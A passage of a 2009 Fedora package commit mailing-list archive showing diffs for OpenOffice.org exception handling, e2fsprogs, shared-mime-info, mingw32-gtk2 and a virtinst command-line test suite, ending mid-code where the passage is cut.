+++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
@@ -190,7 +190,7 @@
                 if( accessibility::AccessibleStateType::FOCUSED == nState )
                     atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
             }
-            catch(lang::IndexOutOfBoundsException e)
+            catch(const lang::IndexOutOfBoundsException &e)
             {
                 g_warning("Focused object has invalid index in parent");
             }
@@ -546,7 +546,14 @@
         if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
         {
             g_aWindowList.insert(pWindow);
-            aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            try
+            {
+                aDocumentFocusListener->attachRecursive(xAccessible, xContext, xStateSet);
+            }
+            catch( const uno::Exception &e )
+            {
+                g_warning( "Exception caught processing focus events" );
+            }
         }
 #ifdef ENABLE_TRACING
         else
@@ -577,7 +584,7 @@
             }
         }
     } 
-    catch( uno::Exception e )
+    catch( const uno::Exception &e )
     {
         g_warning( "Exception caught processing menu highlight events" );
     }


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2016
retrieving revision 1.2017
diff -u -p -r1.2016 -r1.2017
--- openoffice.org.spec	5 Oct 2009 11:50:37 -0000	1.2016
+++ openoffice.org.spec	6 Oct 2009 14:48:52 -0000	1.2017
@@ -161,7 +161,7 @@ Patch84: openoffice.org-3.1.1.ooo64671.c
 Patch85: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
 Patch86: workspace.aw073.patch
 Patch87: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
-Patch88: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
+Patch88: workspace.vcl106.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1709,7 +1709,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch85 -p1 -b .oooXXXXXX.sal.justcoredump.patch
 %patch86 -p0 -b .workspace.aw073.patch
 %patch87 -p0 -b .ooo92671.vcl.coverageformat2.patch
-%patch88 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
+%patch88 -p0 -b .workspace.vcl106.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4246,7 +4246,7 @@ fi
 * Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
   into accepted workspace (caolanm)
-- Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
+- Resolves: rhbz#527177 add workspace.vcl106.patch
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)


--- openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch DELETED ---



From sandeen at fedoraproject.org  Tue Oct  6 14:49:36 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Tue,  6 Oct 2009 14:49:36 +0000 (UTC)
Subject: rpms/e2fsprogs/devel e2fsprogs.spec,1.151,1.152
Message-ID: <20091006144936.D700011C00C1@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/e2fsprogs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1097

Modified Files:
	e2fsprogs.spec 
Log Message:
* Thu Oct 06 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
- Fix install with --excludedocs (#515997)



Index: e2fsprogs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/e2fsprogs/devel/e2fsprogs.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- e2fsprogs.spec	14 Sep 2009 15:34:39 -0000	1.151
+++ e2fsprogs.spec	6 Oct 2009 14:49:36 -0000	1.152
@@ -4,7 +4,7 @@
 Summary: Utilities for managing ext2, ext3, and ext4 filesystems
 Name: e2fsprogs
 Version: 1.41.9
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 # License tags based on COPYING file distinctions for various components
 License: GPLv2
@@ -172,11 +172,14 @@ rm -rf %{buildroot}
 %post libs -p /sbin/ldconfig
 %postun libs -p /sbin/ldconfig
 
+# Test for file; if installed with --excludedocs it may not be there
 %post devel
-/sbin/install-info %{_infodir}/libext2fs.info.gz %{_infodir}/dir || :
+if [ -f %{_infodir}/libext2fs.info.gz ]; then
+   /sbin/install-info %{_infodir}/libext2fs.info.gz %{_infodir}/dir || :
+fi
 
 %preun devel
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/libext2fs.info.gz ]; then
    /sbin/install-info --delete %{_infodir}/libext2fs.info.gz %{_infodir}/dir || :
 fi
 exit 0
@@ -297,6 +300,9 @@ exit 0
 %{_libdir}/pkgconfig/ss.pc
 
 %changelog
+* Thu Oct 06 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
+- Fix install with --excludedocs (#515997)
+
 * Thu Sep 14 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-3
 - Drop defrag bits for now, not ready yet.
 



From hadess at fedoraproject.org  Tue Oct  6 14:51:04 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue,  6 Oct 2009 14:51:04 +0000 (UTC)
Subject: rpms/shared-mime-info/devel .cvsignore, 1.20,
	1.21 shared-mime-info.spec, 1.81, 1.82 sources, 1.20, 1.21
Message-ID: <20091006145104.380EE11C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/shared-mime-info/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1553

Modified Files:
	.cvsignore shared-mime-info.spec sources 
Log Message:
* Tue Oct 06 2009 Bastien Nocera <bnocera at redhat.com> 0.70-1
- Update to 0.70



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	21 Feb 2009 22:53:05 -0000	1.20
+++ .cvsignore	6 Oct 2009 14:51:03 -0000	1.21
@@ -1 +1 @@
-shared-mime-info-0.60.tar.bz2
+shared-mime-info-0.70.tar.bz2


Index: shared-mime-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/devel/shared-mime-info.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- shared-mime-info.spec	24 Sep 2009 12:52:05 -0000	1.81
+++ shared-mime-info.spec	6 Oct 2009 14:51:04 -0000	1.82
@@ -1,7 +1,7 @@
 Summary: Shared MIME information database
 Name: shared-mime-info
-Version: 0.60
-Release: 5%{?dist}
+Version: 0.70
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://freedesktop.org/Software/shared-mime-info
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/*
 
 %changelog
+* Tue Oct 06 2009 Bastien Nocera <bnocera at redhat.com> 0.70-1
+- Update to 0.70
+
 * Thu Sep 24 2009 - Caol?n McNamara <caolanm at redhat.com> - 0.60-5
 - Resolves: rhbz#508559 openoffice.org desktop files changed name
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	21 Feb 2009 22:53:09 -0000	1.20
+++ sources	6 Oct 2009 14:51:04 -0000	1.21
@@ -1 +1 @@
-339b8c284a3b7c153adea985b419030e  shared-mime-info-0.60.tar.bz2
+9032d98f14b8e13e0fea4bf45ca23401  shared-mime-info-0.70.tar.bz2



From hadess at fedoraproject.org  Tue Oct  6 14:53:17 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue,  6 Oct 2009 14:53:17 +0000 (UTC)
Subject: rpms/shared-mime-info/F-12 .cvsignore, 1.20,
	1.21 shared-mime-info.spec, 1.81, 1.82 sources, 1.20, 1.21
Message-ID: <20091006145317.1487D11C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/shared-mime-info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2307

Modified Files:
	.cvsignore shared-mime-info.spec sources 
Log Message:
* Tue Oct 06 2009 Bastien Nocera <bnocera at redhat.com> 0.70-1
- Update to 0.70



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	21 Feb 2009 22:53:05 -0000	1.20
+++ .cvsignore	6 Oct 2009 14:53:15 -0000	1.21
@@ -1 +1 @@
-shared-mime-info-0.60.tar.bz2
+shared-mime-info-0.70.tar.bz2


Index: shared-mime-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/shared-mime-info.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- shared-mime-info.spec	24 Sep 2009 12:52:05 -0000	1.81
+++ shared-mime-info.spec	6 Oct 2009 14:53:15 -0000	1.82
@@ -1,7 +1,7 @@
 Summary: Shared MIME information database
 Name: shared-mime-info
-Version: 0.60
-Release: 5%{?dist}
+Version: 0.70
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://freedesktop.org/Software/shared-mime-info
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/*
 
 %changelog
+* Tue Oct 06 2009 Bastien Nocera <bnocera at redhat.com> 0.70-1
+- Update to 0.70
+
 * Thu Sep 24 2009 - Caol?n McNamara <caolanm at redhat.com> - 0.60-5
 - Resolves: rhbz#508559 openoffice.org desktop files changed name
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	21 Feb 2009 22:53:09 -0000	1.20
+++ sources	6 Oct 2009 14:53:15 -0000	1.21
@@ -1 +1 @@
-339b8c284a3b7c153adea985b419030e  shared-mime-info-0.60.tar.bz2
+9032d98f14b8e13e0fea4bf45ca23401  shared-mime-info-0.70.tar.bz2



From epienbro at fedoraproject.org  Tue Oct  6 15:03:06 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Tue,  6 Oct 2009 15:03:06 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch, 
	NONE, 1.1 mingw32-gtk2.spec, 1.21, 1.22
Message-ID: <20091006150306.D252711C0297@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4234/devel

Modified Files:
	mingw32-gtk2.spec 
Added Files:
	mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch 
Log Message:
Added a fix for GNOME BZ #597535


mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch:
 gtkmain.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch ---
--- gtk/gtkmain.c.orig	2009-10-06 13:02:01.666410756 +0200
+++ gtk/gtkmain.c	2009-10-06 13:02:38.538412765 +0200
@@ -686,7 +686,9 @@
 
   gettext_initialization ();
 
+#ifndef G_PLATFORM_WIN32
   signal (SIGPIPE, SIG_IGN);
+#endif
 
   if (g_fatal_warnings)
     {


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/mingw32-gtk2.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mingw32-gtk2.spec	6 Oct 2009 09:06:49 -0000	1.21
+++ mingw32-gtk2.spec	6 Oct 2009 15:03:04 -0000	1.22
@@ -33,6 +33,9 @@ Patch1001:      mingw32-gtk2-enable_stat
 # Some Fedora-MinGW-specific changes are required by mingw32-libjpeg 7
 Patch1002:      mingw32-gtk2-libjpeg7-compatibility.patch
 
+# GNOME Bugzilla #597535
+Patch1003:      mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch
+
 BuildArch:      noarch
 
 BuildRequires:  mingw32-filesystem >= 49
@@ -94,6 +97,7 @@ Static version of the MinGW Windows Gtk2
 %patch1000 -p1
 %patch1001 -p0
 %patch1002 -p0
+%patch1003 -p0
 
 # Regenerate the configure script
 aclocal



From epienbro at fedoraproject.org  Tue Oct  6 15:03:06 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Tue,  6 Oct 2009 15:03:06 +0000 (UTC)
Subject: rpms/mingw32-gtk2/F-12 mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch, 
	NONE, 1.1 mingw32-gtk2.spec, 1.21, 1.22
Message-ID: <20091006150306.BED2911C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4234/F-12

Modified Files:
	mingw32-gtk2.spec 
Added Files:
	mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch 
Log Message:
Added a fix for GNOME BZ #597535


mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch:
 gtkmain.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch ---
--- gtk/gtkmain.c.orig	2009-10-06 13:02:01.666410756 +0200
+++ gtk/gtkmain.c	2009-10-06 13:02:38.538412765 +0200
@@ -686,7 +686,9 @@
 
   gettext_initialization ();
 
+#ifndef G_PLATFORM_WIN32
   signal (SIGPIPE, SIG_IGN);
+#endif
 
   if (g_fatal_warnings)
     {


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/mingw32-gtk2.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mingw32-gtk2.spec	6 Oct 2009 09:06:49 -0000	1.21
+++ mingw32-gtk2.spec	6 Oct 2009 15:03:00 -0000	1.22
@@ -33,6 +33,9 @@ Patch1001:      mingw32-gtk2-enable_stat
 # Some Fedora-MinGW-specific changes are required by mingw32-libjpeg 7
 Patch1002:      mingw32-gtk2-libjpeg7-compatibility.patch
 
+# GNOME Bugzilla #597535
+Patch1003:      mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch
+
 BuildArch:      noarch
 
 BuildRequires:  mingw32-filesystem >= 49
@@ -94,6 +97,7 @@ Static version of the MinGW Windows Gtk2
 %patch1000 -p1
 %patch1001 -p0
 %patch1002 -p0
+%patch1003 -p0
 
 # Regenerate the configure script
 aclocal



From crobinso at fedoraproject.org  Tue Oct  6 15:10:01 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Tue,  6 Oct 2009 15:10:01 +0000 (UTC)
Subject: rpms/python-virtinst/F-11 virtinst-0.400.3-add-cli-test.patch, NONE,
	1.1 python-virtinst.spec, 1.72, 1.73
Message-ID: <20091006151001.3BD1511C00C1@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7035

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-add-cli-test.patch 
Log Message:
Add CLI tests from upstream.


virtinst-0.400.3-add-cli-test.patch:
 setup.py                                              |   25 
 tests/cli-test-xml/clone-disk.xml                     |   34 +
 tests/cli-test-xml/faketree/images/boot.iso           |    1 
 tests/cli-test-xml/faketree/images/pxeboot/initrd.img |    1 
 tests/cli-test-xml/faketree/images/pxeboot/vmlinuz    |    1 
 tests/cli-test-xml/image.xml                          |   38 +
 tests/clitest.py                                      |  489 ++++++++++++++++++
 7 files changed, 587 insertions(+), 2 deletions(-)

--- NEW FILE virtinst-0.400.3-add-cli-test.patch ---
diff -Nrup virtinst-0.400.3/setup.py new/setup.py
--- virtinst-0.400.3/setup.py	2009-03-09 23:34:29.000000000 -0400
+++ new/setup.py	2009-06-18 14:46:45.023790000 -0400
@@ -58,14 +58,34 @@ class TestCommand(TestBaseCommand):
         '''
         testfiles = []
         for t in glob(pjoin(self._dir, 'tests', '*.py')):
-            if not t.endswith('__init__.py') and \
-               not t.endswith("urltest.py"):
+            if (not t.endswith('__init__.py') and
+                not t.endswith("urltest.py") and
+                not t.endswith("clitest.py")):
                 testfiles.append('.'.join(
                     ['tests', splitext(basename(t))[0]])
                 )
         self._testfiles = testfiles
         TestBaseCommand.run(self)
 
+class TestCLI(TestBaseCommand):
+
+    description = "Test various CLI invocations"
+
+    user_options = (TestBaseCommand.user_options +
+                    [("prompt", None, "Run interactive CLI invocations.")])
+
+    def initialize_options(self):
+        TestBaseCommand.initialize_options(self)
+        self.prompt = 0
+
+    def run(self):
+        cmd = "python tests/clitest.py"
+        if self.debug:
+            cmd += " debug"
+        if self.prompt:
+            cmd += " prompt"
+        os.system(cmd)
+
 class TestURLFetch(TestBaseCommand):
 
     description = "Test fetching kernels and isos from various distro trees"
@@ -281,6 +301,7 @@ setup(name='virtinst',
       packages=pkgs,
       data_files = datafiles,
       cmdclass = { 'test': TestCommand, 'test_urls' : TestURLFetch,
+                   'test_cli' : TestCLI,
                     'check': CheckPylint,
                     'rpm' : custom_rpm,
                     'sdist': sdist, 'build': build,
diff -Nrup virtinst-0.400.3/tests/clitest.py new/tests/clitest.py
--- virtinst-0.400.3/tests/clitest.py	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/clitest.py	2009-06-18 14:46:28.081167000 -0400
@@ -0,0 +1,489 @@
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free  Software Foundation; either version 2 of the License, or
+# (at your option)  any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+# MA 02110-1301 USA.
+
+import commands
+import os, sys
+
+# Location
+xmldir = "tests/cli-test-xml"
+treedir = "tests/cli-test-xml/faketree"
+
+# Images that will be created by virt-install/virt-clone, and removed before
+# each run
+new_images =    [ "cli_new1.img", "cli_new2.img", "cli_new3.img",
+                  "cli_exist1-clone.img", "cli_exist2-clone.img"]
+
+# Images that are expected to exist before a command is run
+exist_images =  [ "cli_exist1.img", "cli_exist2.img" ]
+
+# Images that need to exist ahead of time for virt-image
+virtimage_exist = [os.path.join(xmldir, "cli_root.raw")]
+
+# Images created by virt-image
+virtimage_new = [os.path.join(xmldir, "cli_scratch.raw")]
+
+exist_files = exist_images + virtimage_exist
+new_files   = new_images + virtimage_new
+clean_files = new_images + exist_images + virtimage_exist + virtimage_new
+
+test_files = {
+    'CLONE_DISK_XML'    : "%s/clone-disk.xml" % xmldir,
+    'IMAGE_XML'         : "%s/image.xml" % xmldir,
+    'NEWIMG1'           : new_images[0],
+    'NEWIMG2'           : new_images[1],
+    'NEWIMG3'           : new_images[2],
+    'EXISTIMG1'         : exist_images[0],
+    'EXISTIMG2'         : exist_images[1],
+}
+
+debug = False
+testprompt = False
+
+"""
+CLI test matrix
+
+Format:
+
+"appname" {
+  "global_args" : Arguments to be passed to every app invocation
+
+  "categoryfoo" : { Some descriptive test catagory name (e.g. storage)
+
+    "categoryfoo_args" : Args to be applied to all invocations in category
+
+    "valid" : { # Argument strings that should succeed
+      "--option --string --number1" # Some option string to test. The
+          resulting cmdstr would be:
+          $ appname global_args categoryfoo_args --option --string --number1
+    }
+
+    "invalid" : { # Argument strings that should fail
+      "--opt1 --opt2",
+    }
+  } # End categoryfoo
+
+  "prompt" : { # Special category that will launch an interactive command.
+               # which is only run if special args are passed to the test
+    "--some --prompt --command --string"
+  }
+}
+  "
+"""
+args_dict = {
+
+
+  "virt-install" : {
+    "global_args" : " --connect test:///default -d --name foobar --ram 64",
+
+    "storage" : {
+      "storage_args": "--pxe --nographics --noautoconsole --hvm",
+
+      "valid"  : [
+        # Existing file, other opts
+        "--file %(EXISTIMG1)s --nonsparse --file-size 4",
+        # Existing file, no opts
+        "--file %(EXISTIMG1)s",
+        # Multiple existing files
+        "--file %(EXISTIMG1)s --file virt-image --file virt-clone",
+        # Nonexistent file
+        "--file %(NEWIMG1)s --file-size .00001 --nonsparse",
+
+        # Existing disk, lots of opts
+        "--disk path=%(EXISTIMG1)s,perms=ro,size=.0001,cache=writethrough",
+        # Existing floppy
+        "--disk path=%(EXISTIMG1)s,device=floppy",
+        # Existing disk, no extra options
+        "--disk path=%(EXISTIMG1)s",
+        # Create volume in a pool
+        "--disk pool=default-pool,size=.0001",
+      ],
+
+      "invalid": [
+        # Nonexisting file, size too big
+        "--file %(NEWIMG1)s --file-size 100000 --nonsparse",
+        # Huge file, sparse, but no prompting
+        "--file %(NEWIMG1)s --file-size 100000",
+        # Nonexisting file, no size
+        "--file %(NEWIMG1)s",
+        # Size, no file
+        "--file-size .0001",
+        # Specify a nonexistent pool
+        "--disk pool=foopool,size=.0001",
+        # Specify a nonexistent volume
+        "--disk vol=default-pool/foovol",
+        # Specify a pool with no size
+        "--disk pool=default-pool",
+      ]
+     }, # category "storage"
+
+     "install" : {
+      "install_args": "--nographics --noautoconsole --nodisks",
+
+      "valid" : [
+        # Simple cdrom install
+        "--hvm --cdrom %(EXISTIMG1)s",
+        # Windows (2 stage) install
+        #"--hvm --wait 0 --os-variant winxp --cdrom %(EXISTIMG1)s",
+        # Explicit virt-type
+        #"--hvm --pxe --virt-type test",
+        # Explicity fullvirt + arch
+        "--arch i686 --pxe",
+        # Convert i*86 -> i686
+        #"--arch i486 --pxe",
+        # Directory tree URL install
+        #"--hvm --location %s" % treedir,
+        # Directory tree CDROM install
+        #"--hvm --cdrom %s" % treedir,
+      ],
+
+      "invalid": [
+        # Bogus virt-type
+        #"--hvm --pxe --virt-type bogus",
+        # Bogus arch
+        "--hvm --pxe --arch bogus",
+        # PXE w/ paravirt
+        "--paravirt --pxe",
+        # Import with no disks
+        "--import",
+        # LiveCD with no media
+        "--livecd",
+      ],
+     }, # category "install"
+
+     "graphics": {
+      "graphics_args": "--noautoconsole --nodisks --pxe",
+
+      "valid": [
+        # SDL
+        "--sdl",
+        # VNC w/ lots of options
+        #"--vnc --keymap ja --vncport 5950 --vnclisten 1.2.3.4",
+      ],
+
+      "invalid": [
+        # Invalid keymap
+        #"--vnc --keymap ZZZ",
+        # Invalid port
+        "--vnc --vncport -50",
+      ],
+
+     }, # category "graphics"
+
+     "misc": {
+      "misc_args": "--nographics --noautoconsole",
+
+      "valid": [
+        # Specifying cdrom media via --disk
+        "--hvm --disk path=virt-install,device=cdrom",
+        # FV Import install
+        "--hvm --import --disk path=virt-install",
+        # PV Import install
+        "--paravirt --import --disk path=virt-install",
+      ],
+
+      "invalid": [
+        # pxe and nonetworks
+        "--nodisks --pxe --nonetworks",
+      ],
+     }, # category "misc"
+
+     "network": {
+      "network_args": "--pxe --nographics --noautoconsole --nodisks",
+
+      "valid": [
+        # Just a macaddr
+        "--mac 11:22:33:44:55:66",
+        # user networking
+        "--network=user",
+        # Old bridge option
+        "--bridge mybr0",
+        # Old bridge w/ mac
+        "--bridge mybr0 --mac 11:22:33:44:55:66",
+        # --network bridge:
+        "--network bridge:mybr0,model=e1000",
+        # VirtualNetwork with a random macaddr
+        "--network network:default --mac RANDOM",
+        # VirtualNetwork with a random macaddr
+        "--network network:default --mac 00:11:22:33:44:55",
+        # Using '=' as the net type delimiter
+        #"--network network=default,mac=11:00:11:00:11:00",
+        # with NIC model
+        #"--network=user,model=e1000",
+        # several networks
+        #"--network=network:default,model=e1000 --network=user,model=virtio,mac=11:22:33:44:55:66",
+      ],
+      "invalid": [
+        # Nonexistent network
+        "--network=FOO",
+        # Invalid mac
+        "--network=network:default --mac 1234",
+        # More mac addrs than nics
+        "--network user --mac 00:11:22:33:44:55 --mac 00:11:22:33:44:66",
+        # Mixing bridge and network
+        "--network user --bridge foo0",
+      ],
+
+     }, # category "network"
+
+
+    "prompt" : [ " --connect test:///default --debug --prompt" ]
+  },
+
+
+
+
+  "virt-clone": {
+    "global_args" : " --connect test:///default -d",
+
+    "general" : {
+      "general_args": "-n clonetest ",
+
+      "valid"  : [
+        # Nodisk guest
+        "-o test",
+        # Nodisk, but with spurious files passed
+        "-o test --file %(NEWIMG1)s --file %(NEWIMG2)s",
+
+        # XML File with 2 disks
+        "--original-xml %(CLONE_DISK_XML)s --file %(NEWIMG1)s --file %(NEWIMG2)s",
+        # XML w/ disks, overwriting existing files with --preserve
+        "--original-xml %(CLONE_DISK_XML)s --file virt-install --file %(EXISTIMG1)s --preserve",
+        # XML w/ disks, force copy a readonly target
+        "--original-xml %(CLONE_DISK_XML)s --file %(NEWIMG1)s --file %(NEWIMG2)s --file %(NEWIMG3)s --force-copy=hdc",
+        # XML w/ disks, force copy a target with no media
+        "--original-xml %(CLONE_DISK_XML)s --file %(NEWIMG1)s --file %(NEWIMG2)s --force-copy=fda",
+      ],
+
+      "invalid": [
+        # Non-existent vm name
+        "-o idontexist --force",
+        # Non-existent vm name with auto flag,
+        #"-o idontexist --auto-clone",
+        # Colliding new name
+        "-o test -n test --force",
+        # XML file with several disks, but non specified
+        "--original-xml %(CLONE_DISK_XML)s --force",
+        # XML w/ disks, overwriting existing files with no --preserve
+        #"--original-xml %(CLONE_DISK_XML)s --file virt-install --file %(EXISTIMG1)s",
+        # XML w/ disks, force copy but not enough disks passed
+        "--original-xml %(CLONE_DISK_XML)s --file %(NEWIMG1)s --file %(NEWIMG2)s --force-copy=hdc --force",
+      ]
+     }, # category "general"
+
+    "misc" : {
+      "misc_args": "",
+
+      "valid" : [
+        # Auto flag, no storage
+        #"-o test --auto-clone",
+        # Auto flag w/ storage,
+        #"--original-xml %(CLONE_DISK_XML)s --auto-clone",
+      ],
+
+      "invalid" : [
+        # Just the auto flag
+        #"--auto-clone"
+      ]
+    }, # category "misc"
+
+    "prompt" : [ " --connect test:///default --debug --prompt",
+                 " --connect test:///default --debug --original-xml %(CLONE_DISK_XML)s --prompt" ]
+  }, # app 'virt-clone'
+
+
+
+
+  'virt-image': {
+    "global_args" : " --connect test:///default -d %(IMAGE_XML)s",
+
+    "general" : {
+      "general_args" : "--name test-image",
+
+      "valid": [
+        # All default values
+        "",
+        # Manual boot idx 0
+        "--boot 0",
+        # Manual boot idx 1
+        "--boot 1",
+        # Lots of options
+        "--name foobar --ram 64 --os-variant winxp",
+      ],
+
+      "invalid": [
+        # Out of bounds index
+        "--boot 10",
+      ],
+     }, # category 'general'
+
+    "graphics" : {
+      "graphics_args" : "--name test-image --boot 0",
+
+      "valid": [
+        # SDL
+        "--sdl",
+        # VNC w/ lots of options
+        #"--vnc --keymap ja --vncport 5950 --vnclisten 1.2.3.4",
+      ],
+
+      "invalid": [],
+    },
+
+    "misc": {
+     "misc_args" : "",
+
+      "valid" : [],
+      "invalid" : [
+        # No name specified, and no prompt flag
+        "",
+      ],
+
+     }, # category 'misc'
+
+     "network": {
+      #"network_args": "--name test-image --boot 0 --nographics",
+      "network_args": "--name test-image --boot 0",
+
+      "valid": [
+        # user networking
+        "--network=user",
+        # VirtualNetwork with a random macaddr
+        "--network network:default --mac RANDOM",
+        # VirtualNetwork with a random macaddr
+        "--network network:default --mac 00:11:22:33:44:55",
+        # with NIC model
+        #"--network=user,model=e1000",
+        # several networks
+        #"--network=network:default,model=e1000 --network=user,model=virtio",
+        # no networks
+        #"--nonetworks",
+      ],
+      "invalid": [
+        # Nonexistent network
+        "--network=FOO",
+        # Invalid mac
+        "--network=network:default --mac 1234",
+      ],
+
+     }, # category "network"
+    "prompt" : [ " --connect test:///default %(IMAGE_XML)s --debug --prompt" ],
+
+  } # app 'virt-image'
+}
+
+def runcomm(comm):
+    for i in new_files:
+        os.system("rm %s > /dev/null 2>&1" % i)
+
+    if debug:
+        print comm % test_files
+
+    ret = commands.getstatusoutput(comm % test_files)
+    if debug:
+        print ret[1]
+        print "\n"
+
+    return ret
+
+def run_prompt_comm(comm):
+    print comm
+    os.system(comm % test_files)
+
+def assertPass(comm):
+    ret = runcomm(comm)
+    if ret[0] is not 0:
+        raise AssertionError("Expected command to pass, but failed.\n" + \
+                             "Command was: %s\n" % (comm) + \
+                             "Error code : %d\n" % ret[0] + \
+                             "Output was:\n%s" % ret[1])
+
+def assertFail(comm):
+    ret = runcomm(comm)
+    if ret[0] is 0:
+        raise AssertionError("Expected command to fail, but passed.\n" + \
+                             "Command was: %s\n" % (comm) + \
+                             "Error code : %d\n" % ret[0] + \
+                             "Output was:\n%s" % ret[1])
+
+# Setup: build cliarg dict, which uses
+def run_tests():
+    for app in args_dict:
+        unique = {}
+        prompts = []
+        global_args = ""
+
+        # Build default command line dict
+        for option in args_dict.get(app):
+            if option == "global_args":
+                global_args = args_dict[app][option]
+                continue
+            elif option == "prompt":
+                prompts = args_dict[app][option]
+                continue
+
+            # Default is a unique cmd string
+            unique[option]= args_dict[app][option]
+
+        # Build up prompt cases
+        if testprompt:
+            for optstr in prompts:
+                cmd = "./" + app + " " + optstr
+                run_prompt_comm(cmd)
+            continue
+
+        # Build up unique command line cases
+        for category in unique.keys():
+            catdict = unique[category]
+            category_args = catdict["%s_args" % category]
+
